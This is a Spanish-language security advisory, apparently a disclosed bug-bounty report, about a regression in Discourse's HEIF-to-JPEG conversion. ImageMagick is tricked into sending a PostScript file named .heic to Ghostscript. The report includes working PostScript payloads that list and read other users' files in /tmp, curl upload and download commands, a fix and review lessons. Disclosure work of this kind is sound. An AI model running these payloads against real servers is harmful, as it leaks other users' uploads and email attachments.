Resumen
Discourse acepta imágenes en formato HEIF/HEIC y las convierte a JPEG llamando por línea de comandos a ImageMagick (magick). El investigador fizzi descubrió que esa conversión, a diferencia del resto de las que hace Discourse, no fija qué decodificador debe usar ImageMagick. Sin esa instrucción, ImageMagick decide el formato leyendo los primeros bytes del fichero (sus magic bytes), no su extensión.
Aprovechando esto, un fichero con extensión .heic pero cuyo contenido empieza por %!PS-Adobe es tratado como PostScript: ImageMagick lo deriva a Ghostscript, que ejecuta el PostScript del atacante. Aunque Ghostscript corre en modo -dSAFER (que bloquea el acceso a /etc, /proc, /home, /root, /var/log, etc.), ese modo sí permite leer ficheros dentro de /tmp. Y en /tmp es donde Discourse deja ficheros temporales de todos los usuarios: cuerpos de subidas en curso, adjuntos de correos entrantes e intermedios de otras conversiones de imagen.
El resultado de la conversión (el JPEG que pinta Ghostscript) se guarda como una subida normal y queda accesible en una URL pública /uploads/... sin autenticación. Así, el contenido leído de /tmp acaba "dibujado" dentro de una imagen que cualquiera puede descargar.
Según el reporte, se trata de una regresión: en 2018 el commit 4bf3bf6786 ("SECURITY: force IM decoder based on file extension") introdujo precisamente la función prepend_decoder! para cerrar esta clase de fallo, forzando el prefijo de decodificador (jpeg:, png:, …) en cada llamada a magick. En 2020 el commit 7559758e10 (#10079), que añadió la conversión de HEIF, copió la estructura de la conversión a JPEG pero omitió las dos llamadas a prepend_decoder!, reabriendo el agujero.
Pasos de reproducción
El reporte lo verificó de principio a fin contra discourse/discourse_dev:release (ImageMagick 7.1.2-3, Ghostscript 10.0.0, Ruby 3.3.4). Basta con una sesión autenticada de cualquier usuario; cada paso es una sola petición HTTP.
1. Construir el payload. Un fichero PostScript renombrado a .heic. Este pinta un lienzo blanco y recorre /tmp/* con el operador filenameforall, mostrando cada nombre con show:
%!PS-Adobe-3.0
%%BoundingBox: 0 0 1400 500
1 1 1 setrgbcolor
0 0 1400 500 rectfill
0 0 0 setrgbcolor
/Courier findfont 14 scalefont setfont
20 480 moveto
/y 480 def
(/tmp/*) { dup show /y y 16 sub def 20 y moveto pop } 512 string filenameforall
showpage
2. Subirlo como usuario autenticado a POST /uploads.json:
curl -fsS -b /tmp/cj -c /tmp/cj -X POST "$URL/uploads.json" \
-H "X-CSRF-Token: $CSRF" -H 'X-Requested-With: XMLHttpRequest' \
-F type=composer -F synchronous=true \
-F "file=@/tmp/payload.heic;filename=payload.heic;type=image/heic"
Internamente, UploadCreator#convert! reconoce la extensión .heic y llama a convert_heif! en lib/upload_creator.rb:408, que ejecuta magick /tmp/payload.heic /tmp/out.jpg sin prefijo de decodificador. ImageMagick detecta %!PS-Adobe, deriva a Ghostscript, y el PostScript pinta el listado de /tmp en el lienzo. El servidor responde con HTTP 200 y, en el cuerpo JSON, la URL pública del JPEG generado:
{
"id": 16,
"url": "//host/uploads/default/original/1X/477a1fea29e5906bf11cd56d27f43b178fb9bd32.jpeg",
"filesize": 104797,
"width": 1400,
"height": 500,
"extension": "jpeg"
}
3. Descargar el JPEG sin autenticación (las subidas de Discourse son públicas por diseño, para que los posts se vean sin estar logueado):
curl -fsS -o /tmp/leaked.jpeg "$URL/uploads/default/original/1X/477a1fea29e5906bf11cd56d27f43b178fb9bd32.jpeg"
4. Observar la fuga. El texto dibujado en la imagen es el listado real de /tmp del servidor: entradas como RackMultipart* (cuerpos de subidas en curso de otros usuarios), discourse-email-attachment-* (adjuntos de correos entrantes), image20*.jpg y optimized_image*.jpg (intermedios de otras conversiones) o magick-* (buffers temporales de ImageMagick).
5. Leer el contenido de un fichero concreto. Una vez que el listado revela el nombre exacto de un fichero víctima, se repite con un payload que lo abre y vuelca hasta 512 bytes por petición:
%!PS-Adobe-3.0
%%BoundingBox: 0 0 1400 100
1 1 1 setrgbcolor
0 0 1400 100 rectfill
0 0 0 setrgbcolor
/Helvetica findfont 22 scalefont setfont
20 40 moveto
(/tmp/<nombre-exacto-de-la-victima>) (r) file 512 string readstring pop show
showpage
Los ficheros más largos se leen en trozos de 512 bytes a lo largo de varias subidas.
Impacto
Un usuario autenticado (y, según el análisis de código del reporte, también un remitente anónimo cuando está activada la recepción por correo email_in: true, porque la extensión del temporal se toma del nombre del adjunto del correo) puede:
- Enumerar
/tmpconfilenameforall, sin necesidad de adivinar nombres. - Leer el contenido de ficheros temporales de otros usuarios: cuerpos de subidas multipart en curso, adjuntos de correos entrantes, intermedios de conversión de imágenes y buffers de ImageMagick.
- Exfiltrar sin autenticación: el contenido leído queda "pintado" en un JPEG servido en una URL pública
/uploads/..., cuya dirección aparece ya en la respuesta JSON de la propia subida.
El alcance queda limitado por el modo -dSAFER de Ghostscript, que impide leer rutas fuera de /tmp (/etc, /proc, /home, /root, /var/log, /shared, etc.). El programa clasificó el fallo como de severidad media (Information Disclosure).
Remediación
La corrección es la misma defensa que ya protegía al resto de conversiones: forzar el decodificador en la conversión de HEIF, es decir, prefijar las rutas de origen y destino con prepend_decoder! (como hace convert_to_jpeg! en lib/upload_creator.rb:370-371) para que ImageMagick use el decodificador indicado por la extensión y no el que deduce de los magic bytes. De este modo, un .heic con cabecera PostScript ya no se deriva a Ghostscript.
Qué aprender de este caso
- Cuando una función de seguridad existe, copiarla a un camino nuevo sin ella es una regresión silenciosa. Al revisar código, compara rutas "gemelas" (aquí
convert_to_jpeg!yconvert_heif!): si una llama aprepend_decoder!/ensure_safe_paths!y la otra solo a una de las dos, la que falta suele ser el fallo. - ImageMagick elige el formato por los bytes del fichero, no por la extensión. Si tu código hace
magick entrada salidasin prefijoformato:, un atacante puede colar PostScript, SVG o MVG renombrados y llegar a delegados como Ghostscript. Busca todas las invocaciones amagick/converty verifica que fijan el coder (jpeg:ruta,png:ruta). - No confundas "ruta validada" con "decodificador validado". Comprobaciones como
ensure_safe_paths!solo garantizan que la ruta está dentro de un directorio permitido; no influyen en qué decodificador se usa. Son controles distintos y hacen falta los dos. -dSAFERde Ghostscript no es un sandbox total. Permite leer y escribir en el directorio de trabajo y en temporales; si ahí conviven ficheros de varios usuarios (como/tmp), un "modo seguro" sigue permitiendo fugas entre usuarios. Aísla los temporales por petición o usa directorios dedicados y efímeros.